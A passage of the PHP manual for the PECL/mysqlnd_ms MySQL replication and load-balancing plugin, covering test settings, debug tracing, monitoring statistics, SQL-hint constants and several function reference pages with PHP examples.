 putenv("MYSQL_TEST_CONNECT_FLAGS=0");
 putenv("MYSQL_TEST_EXPERIMENTAL=0");

 /* replication cluster emulation */
 putenv("MYSQL_TEST_EMULATED_MASTER_HOST=". getenv("MYSQL_TEST_HOST"));
 putenv("MYSQL_TEST_EMULATED_SLAVE_HOST=". getenv("MYSQL_TEST_HOST"));

 /* real replication cluster */
 putenv("MYSQL_TEST_MASTER_HOST=". getenv("MYSQL_TEST_EMULATED_MASTER_HOST"));
 putenv("MYSQL_TEST_SLAVE_HOST=". getenv("MYSQL_TEST_EMULATED_SLAVE_HOST"));

MYSQL_TEST_HOST, MYSQL_TEST_PORT and MYSQL_TEST_SOCKET define the hostname, TCP/IP port and Unix domain socket of the default database server. MYSQL_TEST_USER and MYSQL_TEST_PASSWD contain the user and password needed to connect to the database/schema configured with MYSQL_TEST_DB. All configured servers must have the same database user configured to give access to the test database.

Using host, host:port or host:/path/to/socket syntax one can set an alternate host, host and port or host and socket for any of the servers.

putenv("MYSQL_TEST_SLAVE_HOST=192.168.78.136:3307"));
putenv("MYSQL_TEST_MASTER_HOST=myserver_hostname:/path/to/socket"));

User Contributed Notes

There are no user contributed notes for this page.
Plugin configuration file (<= 1.0.x)
Debugging and Tracing
Installing/Configuring


Debugging and Tracing

The mysqlnd debug log can be used to debug and trace the actitivities of PECL/mysqlnd_ms. As a mysqlnd PECL/mysqlnd_ms adds trace information to the mysqlnd library debug file. Please, see the mysqlnd.debug PHP configuration directive documentation for a detailed description on how to configure the debug log.

Configuration setting example to activate the debug log:

mysqlnd.debug=d:t:x:O,/tmp/mysqlnd.trace

Note:

This feature is only available with a debug build of PHP. Works on Microsoft Windows if using a debug build of PHP and PHP was built using Microsoft Visual C version 9 and above.

The debug log shows mysqlnd library and PECL/mysqlnd_ms plugin function calls, similar to a trace log. Mysqlnd library calls are usually prefixed with mysqlnd_. PECL/mysqlnd internal calls begin with mysqlnd_ms.

Example excerpt from the debug log (connect):

[...]
>mysqlnd_connect
| info : host=myapp user=root db=test port=3306 flags=131072
| >mysqlnd_ms::connect
| | >mysqlnd_ms_config_json_section_exists
| | | info : section=[myapp] len=[5]
| | | >mysqlnd_ms_config_json_sub_section_exists
| | | | info : section=[myapp] len=[5]
| | | | info : ret=1
| | | <mysqlnd_ms_config_json_sub_section_exists
| | | info : ret=1
| | <mysqlnd_ms_config_json_section_exists
[...]

The debug log is not only useful for plugin developers but also to find the cause of user errors. For example, if your application does not do proper error handling and fails to record error messages, checking the debug and trace log may help finding the cause. Use of the debug log to debug application issues should be considered only if no other option is available. Writing the debug log to disk is a slow operation and may have negative impact on the application performance.

Example excerpt from the debug log (connection failure):

[...]
| | | | | | | info : adding error [Access denied for user 'root'@'localhost' (using password: YES)] to the list
| | | | | | | info : PACKET_FREE(0)
| | | | | | | info : PACKET_FREE(0x7f3ef6323f50)
| | | | | | | info : PACKET_FREE(0x7f3ef6324080)
| | | | | | <mysqlnd_auth_handshake
| | | | | | info : switch_to_auth_protocol=n/a
| | | | | | info : conn->error_info.error_no = 1045
| | | | | <mysqlnd_connect_run_authentication
| | | | | info : PACKET_FREE(0x7f3ef63236d8)
| | | | | >mysqlnd_conn::free_contents
| | | | | | >mysqlnd_net::free_contents
| | | | | | <mysqlnd_net::free_contents
| | | | | | info : Freeing memory of members
| | | | | | info : scheme=unix:///tmp/mysql.sock
| | | | | | >mysqlnd_error_list_pdtor
| | | | | | <mysqlnd_error_list_pdtor
| | | | | <mysqlnd_conn::free_contents
| | | | <mysqlnd_conn::connect
[...]

The trace log can also be used to verify correct behaviour of PECL/mysqlnd_ms itself, for example, to check which server has been selected for query execution and why.

Example excerpt from the debug log (plugin decision):

[...]
>mysqlnd_ms::query
| info : query=DROP TABLE IF EXISTS test
| >_mysqlnd_plugin_get_plugin_connection_data
| | info : plugin_id=5
| <_mysqlnd_plugin_get_plugin_connection_data
| >mysqlnd_ms_pick_server_ex
| | info : conn_data=0x7fb6a7d3e5a0 *conn_data=0x7fb6a7d410d0
| | >mysqlnd_ms_select_servers_all
| | <mysqlnd_ms_select_servers_all
| | >mysqlnd_ms_choose_connection_rr
| | | >mysqlnd_ms_query_is_select
[...]
| | | <mysqlnd_ms_query_is_select
[...]
| | | info : Init the master context
| | | info : list(0x7fb6a7d3f598) has 1
| | | info : Using master connection
| | | >mysqlnd_ms_advanced_connect
| | | | >mysqlnd_conn::connect
| | | | | info : host=localhost user=root db=test port=3306 flags=131072 persistent=0 state=0

In this case the statement DROP TABLE IF EXISTS test has been executed. Note that the statement string is shown in the log file. You may want to take measures to restrict access to the log for security considerations.

The statement has been load balanced using round robin policy, as you can easily guess from the functions name >mysqlnd_ms_choose_connection_rr. It has been sent to a master server running on host=localhost user=root db=test port=3306 flags=131072 persistent=0 state=0.

User Contributed Notes

There are no user contributed notes for this page.
Testing
Monitoring
Installing/Configuring


Monitoring

Plugin activity can be monitored using the mysqlnd trace log, mysqlnd statistics, mysqlnd_ms plugin statistics and external PHP debugging tools. Use of the trace log should be limited to debugging. It is recommended to use the plugins statistics for monitoring.

Writing a trace log is a slow operation. If using an external PHP debugging tool, please refer to the vendors manual about its perfomance impact and the type of information collected. In many cases, external debugging tools will provide call stacks. Often, a call stack or a trace log is more difficult to interpret than the statistics provided by the plugin.

Plugin statistics tell how often which kind of cluster node has been used (slave or master), why the node was used, if lazy connections have been used and if global transaction ID injection has been performed. The monitoring information provided enables user to verify plugin decisions and to plan their cluster resources based on usage pattern. The function mysqlnd_ms_get_stats() is used to access the statistics. Please, see the functions description for a list of available statistics.

Statistics are collected on a per PHP process basis. Their scope is a PHP process. Depending on the PHP deployment model a process may serve one or multiple web requests. If using CGI model, a PHP process serves one web request. If using FastCGI or pre-fork web server models, a PHP process usually serves multiple web requests. The same is the case with a threaded web server. Please, note that threads running in parallel can update the statistics in parallel. Thus, if using a threaded PHP deployment model, statistics can be changed by more than one script at a time. A script cannot rely on the fact that it sees only its own changes to statistics.

Example #1 Verify plugin activity in a non-threaded deployment model

mysqlnd_ms.enable=1
mysqlnd_ms.collect_statistics=1
<?php
/* Load balanced following "myapp" section rules from the plugins config file (not shown) */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

$stats_before = mysqlnd_ms_get_stats();
if ($res = $mysqli->query("SELECT 'Read request' FROM DUAL")) {
  var_dump($res->fetch_all());
}
$stats_after = mysqlnd_ms_get_stats();
if ($stats_after['use_slave'] <= $stats_before['use_slave']) {
  echo "According to the statistics the read request has not been run on a slave!";
}
?>

Statistics are aggregated for all plugin activities and all connections handled by the plugin. It is not possible to tell how much a certain connection handle has contributed to the overall statistics.

Utilizing PHPs register_shutdown_function() function or the auto_append_file PHP configuration directive it is easily possible to dump statistics into, for example, a log file when a script finishes. Instead of using a log file it is also possible to send the statistics to an external monitoring tool for recording and display.

Example #2 Recording statistics during shutdown

mysqlnd_ms.enable=1
mysqlnd_ms.collect_statistics=1
error_log=/tmp/php_errors.log
<?php
function check_stats() {
  $msg = str_repeat("-", 80) . "\n";
  $msg .= var_export(mysqlnd_ms_get_stats(), true) . "\n";
  $msg .= str_repeat("-", 80) . "\n";
  error_log($msg);
}
register_shutdown_function("check_stats");
?>

User Contributed Notes

There are no user contributed notes for this page.
Debugging and Tracing
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SQL hint related

The mysqlnd replication and load balancing plugin (mysqlnd_ms) performs read/write splitting. This directs write queries to a MySQL master server, and read-only queries to the MySQL slave servers. The plugin has a built-in read/write split logic. All queries which start with SELECT are considered read-only queries, which are then sent to a MySQL slave server that is listed in the plugin configuration file. All other queries are directed to the MySQL master server that is also specified in the plugin configuration file.

User supplied SQL hints can be used to overrule automatic read/write splitting, to gain full control on the process. SQL hints are standards compliant SQL comments. The plugin will scan the beginning of a query string for an SQL comment for certain commands, which then control query redirection. Other systems involved in the query processing are unaffected by the SQL hints because other systems will ignore the SQL comments.

The plugin supports three SQL hints to direct queries to either the MySQL slave servers, the MySQL master server, or the last used MySQL server. SQL hints must be placed at the beginning of a query to be recognized by the plugin.

For better portability, it is recommended to use the string constants MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH and MYSQLND_MS_LAST_USED_SWITCH instead of their literal values.

<?php
/* Use constants for maximum portability */
$master_query = "/*" . MYSQLND_MS_MASTER_SWITCH . "*/SELECT id FROM test";

/* Valid but less portable: using literal instead of constant */
$slave_query = "/*ms=slave*/SHOW TABLES";

printf("master_query = '%s'\n", $master_query);
printf("slave_query = '%s'\n", $slave_query);
?>

The above examples will output:

master_query = /*ms=master*/SELECT id FROM test
slave_query = /*ms=slave*/SHOW TABLES

MYSQLND_MS_MASTER_SWITCH (string)
SQL hint used to send a query to the MySQL replication master server.
MYSQLND_MS_SLAVE_SWITCH (string)
SQL hint used to send a query to one of the MySQL replication slave servers.
MYSQLND_MS_LAST_USED_SWITCH (string)
SQL hint used to send a query to the last used MySQL server. The last used MySQL server can either be a master or a slave server in a MySQL replication setup.

mysqlnd_ms_query_is_select() related

MYSQLND_MS_QUERY_USE_MASTER (integer)
If mysqlnd_ms_is_select() returns MYSQLND_MS_QUERY_USE_MASTER for a given query, the built-in read/write split mechanism recommends sending the query to a MySQL replication master server.
MYSQLND_MS_QUERY_USE_SLAVE (integer)
If mysqlnd_ms_is_select() returns MYSQLND_MS_QUERY_USE_SLAVE for a given query, the built-in read/write split mechanism recommends sending the query to a MySQL replication slave server.
MYSQLND_MS_QUERY_USE_LAST_USED (integer)
If mysqlnd_ms_is_select() returns MYSQLND_MS_QUERY_USE_LAST_USED for a given query, the built-in read/write split mechanism recommends sending the query to the last used server.

mysqlnd_ms_set_qos(), quality of service filter and service level related

MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL (integer)
Use to request the service level eventual consistency from the mysqlnd_ms_set_qos(). Eventual consistency is the default quality of service when reading from an asynchronous MySQL replication slave. Data returned in this service level may or may not be stale, depending on whether the selected slaves happens to have replicated the lastest changes from the MySQL replication master or not.
MYSQLND_MS_QOS_CONSISTENCY_SESSION (integer)
Use to request the service level session consistency from the mysqlnd_ms_set_qos(). Session consistency is defined as read your writes. The client is guaranteed to see his latest changes.
MYSQLND_MS_QOS_CONSISTENCY_STRONG (integer)
Use to request the service level strong consistency from the mysqlnd_ms_set_qos(). Strong consistency is used to ensure all clients see each others changes.
MYSQLND_MS_QOS_OPTION_GTID (integer)
Used as a service level option with mysqlnd_ms_set_qos() to parameterize session consistency.
MYSQLND_MS_QOS_OPTION_AGE (integer)
Used as a service level option with mysqlnd_ms_set_qos() to parameterize eventual consistency.

Other

The plugins version number can be obtained using MYSQLND_MS_VERSION or MYSQLND_MS_VERSION_ID. MYSQLND_MS_VERSION is the string representation of the numerical version number MYSQLND_MS_VERSION_ID, which is an integer such as 10000. Developers can calculate the version number as follows.

Version (part) | Example
Major*10000 | 1*10000 = 10000
Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_MS_VERSION_ID | 10000

MYSQLND_MS_VERSION (string)
Plugin version string, for example, "1.0.0-prototype".
MYSQLND_MS_VERSION_ID (integer)
Plugin version number, for example, 10000.

User Contributed Notes

There are no user contributed notes for this page.
Monitoring
Mysqlnd_ms Functions
mysqlnd_ms


Mysqlnd_ms Functions

Table of Contents

  • mysqlnd_ms_get_last_gtid — Returns the latest global transaction ID
  • mysqlnd_ms_get_last_used_connection — Returns an array which describes the last used connection
  • mysqlnd_ms_get_stats — Returns query distribution and connection statistics
  • mysqlnd_ms_match_wild — Finds whether a table name matches a wildcard pattern or not
  • mysqlnd_ms_query_is_select — Find whether to send the query to the master, the slave or the last used MySQL server
  • mysqlnd_ms_set_qos — Sets the quality of service needed from the cluster
  • mysqlnd_ms_set_user_pick_server — Sets a callback for user-defined read/write splitting

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
mysqlnd_ms_get_last_gtid
mysqlnd_ms


Returns the latest global transaction ID

Mysqlnd_ms Functions
mysqlnd_ms_get_last_used_connection
Mysqlnd_ms Functions
PHP Manual

mysqlnd_ms_get_last_gtid

(No version information available, might only be in SVN)

mysqlnd_ms_get_last_gtid — Returns the latest global transaction ID

Description

string mysqlnd_ms_get_last_gtid ( mixed $connection )

Returns a global transaction identifier which belongs to a write operation no older than the last write performed by the client. It is not guaranteed that the global transaction identifier is identical to that one created for the last write transaction performed by the client.

Parameters

connection

A PECL/mysqlnd_ms connection handle to a MySQL server of the type PDO_MySQL, mysqli or mysql. The connection handle is obtained when opening a connection with a host name that matches a mysqlnd_ms configuration file entry using any of the three extensions.

Return Values

Returns a global transaction ID (GTID) on success. Otherwise, returns FALSE.

The function mysqlnd_ms_get_last_gtid() returns the GTID obtained when executing the SQL statement from the fetch_last_gtid entry of the global_transaction_id_injection section from the plugins configuration file.

The function may be called after the GTID has been incremented.

Notes

Note:

mysqlnd_ms_get_last_gtid() requires PHP >= 5.4.0 and PECL mysqlnd_ms >= 1.2.0. Internally, it is using a mysqlnd library C functionality not available with PHP 5.3.

Examples

Example #1 mysqlnd_ms_get_last_gtid() example

<?php
/* Open mysqlnd_ms connection using mysqli, PDO_MySQL or mysql extension */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("DROP TABLE IF EXISTS test"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("CREATE TABLE test(id INT)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));
?>

See Also

  • Global Transaction IDs

User Contributed Notes

There are no user contributed notes for this page.
Mysqlnd_ms Functions
mysqlnd_ms_get_last_used_connection
Mysqlnd_ms Functions


Returns an array which describes the last used connection

mysqlnd_ms_get_last_gtid
mysqlnd_ms_get_stats
Mysqlnd_ms Functions
PHP Manual

mysqlnd_ms_get_last_used_connection

(PHP >= 5.4.0, PECL mysqlnd_ms >= 1.1.0)

mysqlnd_ms_get_last_used_connection — Returns an array which describes the last used connection

Description

array mysqlnd_ms_get_last_used_connection ( mixed $connection )

Returns an array which describes the last used connection from the plugins connection pool currently pointed to by the user connection handle. If using the plugin, a user connection handle represents a pool of database connections. It is not possible to tell from the user connection handles properties to which database server from the pool the user connection handle points.

The function can be used to debug or monitor PECL mysqlnd_ms.

Parameters

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

Return Values

FALSE on error. Otherwise, an array which describes the connection used to execute the last statement on.

Array which describes the connection.

Property | Description | Version
scheme | Connection scheme. Either tcp://host:port or unix://host:socket. If you want to distinguish connections from each other use a combination of scheme and thread_id as a unique key. Neither scheme nor thread_id alone are sufficient to distinguish two connections from each other. Two servers may assign the same thread_id to two different connections. Thus, connections in the pool may have the same thread_id. Also, do not rely on uniqueness of scheme in a pool. Your QA engineers may use the same MySQL server instance for two distinct logical roles and add it multiple times to the pool. This hack is used, for example, in the test suite. | Since 1.1.0.
host | Database server host used with the connection. The host is only set with TCP/IP connections. It is empty with Unix domain or Windows named pipe connections, | Since 1.1.0.
host_info | A character string representing the server hostname and the connection type. | Since 1.1.2.
port | Database server port used with the connection. | Since 1.1.0.
socket_or_pipe | Unix domain socket or Windows named pipe used with the connection. The value is empty for TCP/IP connections. | Since 1.1.2.
thread_id | Connection thread id. | Since 1.1.0.
last_message | Info message obtained from the MySQL C API function mysql_info(). Please, see mysqli_info() for a description. | Since 1.1.0.
errno | Error code. | Since 1.1.0.
error | Error message. | Since 1.1.0.
sqlstate | Error SQLstate code. | Since 1.1.0.

Notes

Note:

mysqlnd_ms_get_last_used_connection() requires PHP >= 5.4.0 and PECL mysqlnd_ms >> 1.1.0. Internally, it is using a mysqlnd library C call not available with PHP 5.3.

Examples

The example assumes that myapp refers to a plugin configuration file section and represents a connection pool.

Example #1 mysqlnd_ms_get_last_used_connection() example

<?php
$link = new mysqli("myapp", "user", "password", "database");
$res = $link->query("SELECT 1 FROM DUAL");
var_dump(mysqlnd_ms_get_last_used_connection($link));
?>

The above example will output:

array(10) {
  ["scheme"]=>
  string(22) "unix:///tmp/mysql.sock"
  ["host_info"]=>
  string(25) "Localhost via UNIX socket"
  ["host"]=>
  string(0) ""
  ["port"]=>
  int(3306)
  ["socket_or_pipe"]=>
  string(15) "/tmp/mysql.sock"
  ["thread_id"]=>
  int(46253)
  ["last_message"]=>
  string(0) ""
  ["errno"]=>
  int(0)
  ["error"]=>
  string(0) ""
  ["sqlstate"]=>
  string(5) "00000"
}

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_ms_get_last_gtid
mysqlnd_ms_get_stats
Mysqlnd_ms Functions


Returns query distribution and connection statistics

mysqlnd_ms_get_last_used_connection
mysqlnd_ms_match_wild
Mysqlnd_ms Functions
PHP Manual

mysqlnd_ms_get_stats

(PECL mysqlnd_ms >= 1.0.0)

mysqlnd_ms_get_stats — Returns query distribution and connection statistics

Description

array mysqlnd_ms_get_stats ( void )

Returns an array of statistics collected by the replication and load balancing plugin.

The PHP configuration setting mysqlnd_ms.collect_statistics controls the collection of statistics. The collection of statistics is disabled by default for performance reasons.

The scope of the statistics is the PHP process. Depending on your deployment model a PHP process may handle one or multiple requests.

Statistics are aggregated for all connections and all storage handler. It is not possible to tell how much queries originating from mysqli, PDO_MySQL or mysql API calls have contributed to the aggregated data values.

Parameters

This function has no parameters.

Return Values

Returns NULL if the PHP configuration directive mysqlnd_ms.enable has disabled the plugin. Otherwise, returns array of statistics.

Array of statistics

Statistic | Description | Version
use_slave

The semantics of this statistic has changed between 1.0.1 - 1.1.0.

The meaning for version 1.0.1 is as follows. Number of statements considered as read-only by the built-in query analyzer. Neither statements which begin with a SQL hint to force use of slave nor statements directed to a slave by an user-defined callback are included. The total number of statements sent to the slaves is use_slave + use_slave_sql_hint + use_slave_callback.

PECL/mysqlnd_ms 1.1.0 introduces a new concept of chained filters. The statictics is now set by the internal load balancing filter. With version 1.1.0 the load balancing filter is always the last in the filter chain, if used. In future versions a load balancing filter may be followed by other filters causing another change in the meaning of the statistic. If, in the future, a load balancing filter is followed by another filter it is no longer guaranteed that the satement, whichs increments use_slave, will be executed on the slaves.

The meaning for version 1.1.0 is as follows. Number of statements sent to the slaves. Statements directed to a slave by the user filter (an user-defined callback) are not included. The latter are counted by use_slave_callback.

Since 1.0.0.
use_master

The semantics of this statistic has changed between 1.0.1 - 1.1.0.

The meaning for version 1.0.1 is as follows. Number of statements not considered as read-only by the built-in query analyzer. Neither statements which begin with a SQL hint to force use of master nor statements directed to a master by an user-defined callback are included. The total number of statements sent to the master is use_master + use_master_sql_hint + use_master_callback.

PECL/mysqlnd_ms 1.1.0 introduces a new concept of chained filters. The statictics is now set by the internal load balancing filter. With version 1.1.0 the load balancing filter is always the last in the filter chain, if used. In future versions a load balancing filter may be followed by other filters causing another change in the meaning of the statistic. If, in the future, a load balancing filter is followed by another filter it is no longer guaranteed that the satement, whichs increments use_master, will be executed on the slaves.

The meaning for version 1.1.0 is as follows. Number of statements sent to the masters. Statements directed to a master by the user filter (an user-defined callback) are not included. The latter are counted by use_master_callback.

Since 1.0.0.
use_slave_guess | Number of statements the built-in query analyzer recommends sending to a slave because they contain no SQL hint to force use of a certain server. The recommendation may be overruled in the following. It is not guaranteed whether the statement will be excuted on a slave or not. This is how often the internal is_select function has guessed that a slave shall be used. Please, see also the user space function mysqlnd_ms_query_is_select(). | Since 1.1.0.
use_master_guess | Number of statements the built-in query analyzer recommends sending to a master because they contain no SQL hint to force use of a certain server. The recommendation may be overruled in the following. It is not guaranteed whether the statement will be excuted on a slave or not. This is how often the internal is_select function has guessed that a master shall be used. Please, see also the user space function mysqlnd_ms_query_is_select(). | Since 1.1.0.
use_slave_sql_hint | Number of statements sent to a slave because statement begins with the SQL hint to force use of slave. | Since 1.0.0.
use_master_sql_hint | Number of statements sent to a master because statement begins with the SQL hint to force use of master. | Since 1.0.0.
use_last_used_sql_hint | Number of statements sent to server which has run the previous statement, because statement begins with the SQL hint to force use of previously used server. | Since 1.0.0.
use_slave_callback | Number of statements sent to a slave because an user-defined callback has chosen a slave server for statement execution. | Since 1.0.0.
use_master_callback | Number of statements sent to a master because an user-defined callback has chosen a master server for statement execution. | Since 1.0.0.
non_lazy_connections_slave_success | Number of successfully opened slave connections from configurations not using lazy connections. The total number of successfully opened slave connections is non_lazy_connections_slave_success + lazy_connections_slave_success | Since 1.0.0.
non_lazy_connections_slave_failure | Number of failed slave connection attempts from configurations not using lazy connections. The total number of failed slave connection attempts is non_lazy_connections_slave_failure + lazy_connections_slave_failure | Since 1.0.0.
non_lazy_connections_master_success | Number of successfully opened master connections from configurations not using lazy connections. The total number of successfully opened master connections is non_lazy_connections_master_success + lazy_connections_master_success | Since 1.0.0.
non_lazy_connections_master_failure | Number of failed master connection attempts from configurations not using lazy connections. The total number of failed master connection attempts is non_lazy_connections_master_failure + lazy_connections_master_failure | Since 1.0.0.
lazy_connections_slave_success | Number of successfully opened slave connections from configurations using lazy connections. | Since 1.0.0.
lazy_connections_slave_failure | Number of failed slave connection attempts from configurations using lazy connections. | Since 1.0.0.
lazy_connections_master_success | Number of successfully opened master connections from configurations using lazy connections. | Since 1.0.0.
lazy_connections_master_failure | Number of failed master connection attempts from configurations using lazy connections. | Since 1.0.0.
trx_autocommit_on | Number of autocommit mode activations via API calls. This figure may be used to monitor activity related to the plugin configuration setting trx_stickiness. If, for example, you want to know if a certain API call invokes the mysqlnd library function trx_autocommit(), which is a requirement for trx_stickiness, you may call the user API function in question and check if the statistic has changed. The statistic is modified only by the plugins internal subclassed trx_autocommit() method. | Since 1.0.0.
trx_autocommit_off | Number of autocommit mode deactivations via API calls. | Since 1.0.0.
trx_master_forced | Number of statemens redirected to the master while trx_stickiness=master and autocommit mode is disabled. | Since 1.0.0.
gtid_autocommit_injections_success | Number of successful SQL injections in autocommit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
gtid_autocommit_injections_failure | Number of failed SQL injections in autocommit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
gtid_commit_injections_success | Number of successful SQL injections in commit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
gtid_commit_injections_failure | Number of failed SQL injections in commit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
gtid_implicit_commit_injections_success | Number of successful SQL injections when implicit commit is detected as part of the plugins client-side global transaction id emulation. Implicit commit happens, for example, when autocommit has been turned off, a query is executed and autocommit is enabled again. In that case, the statement will be committed by the server and SQL to maintain is injected before the autocommit is re-enabled. | Since 1.2.0.
gtid_implicit_commit_injections_failure | Number of failed SQL injections when implicit commit is detected as part of the plugins client-side global transaction id emulation. Implicit commit happens, for example, when autocommit has been turned off, a query is executed and autocommit is enabled again. In that case, the statement will be committed by the server and SQL to maintain is injected before the autocommit is re-enabled. | Since 1.2.0.

Examples

Example #1 mysqlnd_ms_get_stats() example

<?php
printf("mysqlnd_ms.enable = %d\n", ini_get("mysqlnd_ms.enable"));
printf("mysqlnd_ms.collect_statistics = %d\n", ini_get("mysqlnd_ms.collect_statistics"));
var_dump(mysqlnd_ms_get_stats());
?>

The above example will output:

mysqlnd_ms.enable = 1
mysqlnd_ms.collect_statistics = 1
array(26) {
  ["use_slave"]=>
  string(1) "0"
  ["use_master"]=>
  string(1) "0"
  ["use_slave_guess"]=>
  string(1) "0"
  ["use_master_guess"]=>
  string(1) "0"
  ["use_slave_sql_hint"]=>
  string(1) "0"
  ["use_master_sql_hint"]=>
  string(1) "0"
  ["use_last_used_sql_hint"]=>
  string(1) "0"
  ["use_slave_callback"]=>
  string(1) "0"
  ["use_master_callback"]=>
  string(1) "0"
  ["non_lazy_connections_slave_success"]=>
  string(1) "0"
  ["non_lazy_connections_slave_failure"]=>
  string(1) "0"
  ["non_lazy_connections_master_success"]=>
  string(1) "0"
  ["non_lazy_connections_master_failure"]=>
  string(1) "0"
  ["lazy_connections_slave_success"]=>
  string(1) "0"
  ["lazy_connections_slave_failure"]=>
  string(1) "0"
  ["lazy_connections_master_success"]=>
  string(1) "0"
  ["lazy_connections_master_failure"]=>
  string(1) "0"
  ["trx_autocommit_on"]=>
  string(1) "0"
  ["trx_autocommit_off"]=>
  string(1) "0"
  ["trx_master_forced"]=>
  string(1) "0"
  ["gtid_autocommit_injections_success"]=>
  string(1) "0"
  ["gtid_autocommit_injections_failure"]=>
  string(1) "0"
  ["gtid_commit_injections_success"]=>
  string(1) "0"
  ["gtid_commit_injections_failure"]=>
  string(1) "0"
  ["gtid_implicit_commit_injections_success"]=>
  string(1) "0"
  ["gtid_implicit_commit_injections_failure"]=>
  string(1) "0"
}

See Also

  • Runtime configuration
  • mysqlnd_ms.collect_statistics
  • mysqlnd_ms.enable
  • Monitoring

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_ms_get_last_used_connection
mysqlnd_ms_match_wild
Mysqlnd_ms Functions


Finds whether a table name matches a wildcard pattern or not

mysqlnd_ms_get_stats
mysqlnd_ms_query_is_select
Mysqlnd_ms Functions
PHP Manual

mysqlnd_ms_match_wild

(PECL mysqlnd_ms >= 1.1.0)

mysqlnd_ms_match_wild — Finds whether a table name matches a wildcard pattern or not

Description

bool mysqlnd_ms_match_wild ( string $table_name , string $wildcard )

Finds whether a table name matches a wildcard pattern or not.

This function is not of much practical relevance with PECL mysqlnd_ms 1.1.0 because the plugin does not support MySQL replication table filtering yet.

Parameters

table_name

The table name to check if it is matched by the wildcard.

wildcard

The wildcard pattern to check against the table name. The wildcard pattern supports the same placeholders as MySQL replication filters do.

MySQL replication filters can be configured by using the MySQL Server configuration options --replicate-wild-do-table and --replicate-wild-do-db. Please, consult the MySQL Reference Manual to learn more about this MySQL Server feature.

The supported placeholders are:

  • % - zero or more literals
  • % - one literal

Placeholders can be escaped using \.

Return Values

Returns TRUE table_name is matched by wildcard. Otherwise, returns FALSE

Examples

Example #1 mysqlnd_ms_match_wild() example

<?php
var_dump(mysqlnd_ms_match_wild("schema_name.table_name", "schema%"));
var_dump(mysqlnd_ms_match_wild("abc", "_"));
var_dump(mysqlnd_ms_match_wild("table1", "table_"));
var_dump(mysqlnd_ms_match_wild("asia_customers", "%customers"));
var_dump(mysqlnd_ms_match_wild("funny%table","funny\%table"));
var_dump(mysqlnd_ms_match_wild("funnytable", "funny%table"));
?>

The above example will output:

bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_ms_get_stats
mysqlnd_ms_query_is_select
Mysqlnd_ms Functions


Find whether to send the query to the master, the slave or the last used MySQL server

mysqlnd_ms_match_wild
mysqlnd_ms_set_qos
Mysqlnd_ms Functions
PHP Manual

mysqlnd_ms_query_is_select

(PECL mysqlnd_ms >= 1.0.0)

mysqlnd_ms_query_is_select — Find whether to send the query to the master, the slave or the last used MySQL server

Description

int mysqlnd_ms_query_is_select ( string $query )

Finds whether to send the query to the master, the slave or the last used MySQL server.

The plugins built-in read/write split mechanism will be used to analyze the query string to make a recommendation where to send the query. The built-in read/write split mechanism is very basic and simple. The plugin will recommend sending all queries to the MySQL replication master server but those which begin with SELECT, or begin with a SQL hint which enforces sending the query to a slave server. Due to the basic but fast algorithm the plugin may propose to run some read-only statements such as SHOW TABLES on the replication master.

Parameters

query

Query string to test.

Return Values

A return value of MYSQLND_MS_QUERY_USE_MASTER indicates that the query should be send to the MySQL replication master server. The function returns a value of MYSQLND_MS_QUERY_USE_SLAVE if the query can be run on a slave because it is considered read-only. A value of MYSQLND_MS_QUERY_USE_LAST_USED is returned to recommend running the query on the last used server. This can either be a MySQL replication master server or a MySQL replication slave server.

If read write splitting has been disabled by setting mysqlnd_ms.disable_rw_split, the fucntion will always return MYSQLND_MS_QUERY_USE_MASTER or MYSQLND_MS_QUERY_USE_LAST_USED.

Examples

Example #1 mysqlnd_ms_query_is_select() example

<?php
function is_select($query)
{
 switch (mysqlnd_ms_query_is_select($query))
 {
  case MYSQLND_MS_QUERY_USE_MASTER:
   printf("'%s' should be run on the master.\n", $query);
   break;
  case MYSQLND_MS_QUERY_USE_SLAVE:
   printf("'%s' should be run on a slave.\n", $query);
   break;
  case MYSQLND_MS_QUERY_USE_LAST_USED:
   printf("'%s' should be run on the server that has run the previous query\n", $query);
   break;
  default:
   printf("No suggestion where to run the '%s', fallback to master recommended\n", $query);
   break;
 }
}

is_select("INSERT INTO test(id) VALUES (1)");
is_select("SELECT 1 FROM DUAL");
is_select("/*" . MYSQLND_MS_LAST_USED_SWITCH . "*/SELECT 2 FROM DUAL");
?>

The above example will output:

INSERT INTO test(id) VALUES (1) should be run on the master.
SELECT 1 FROM DUAL should be run on a slave.
/*ms=last_used*/SELECT 2 FROM DUAL should be run on the server that has run the previous query

See Also

  • Predefined Constants
  • user filter
  • Runtime configuration
  • mysqlnd_ms.disable_rw_split
  • mysqlnd_ms.enable

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_ms_match_wild
mysqlnd_ms_set_qos
Mysqlnd_ms Functions


Sets the quality of service needed from the cluster

mysqlnd_ms_query_is_select
mysqlnd_ms_set_user_pick_server
Mysqlnd_ms Functions
PHP Manual

mysqlnd_ms_set_qos

(No version information available, might only be in SVN)

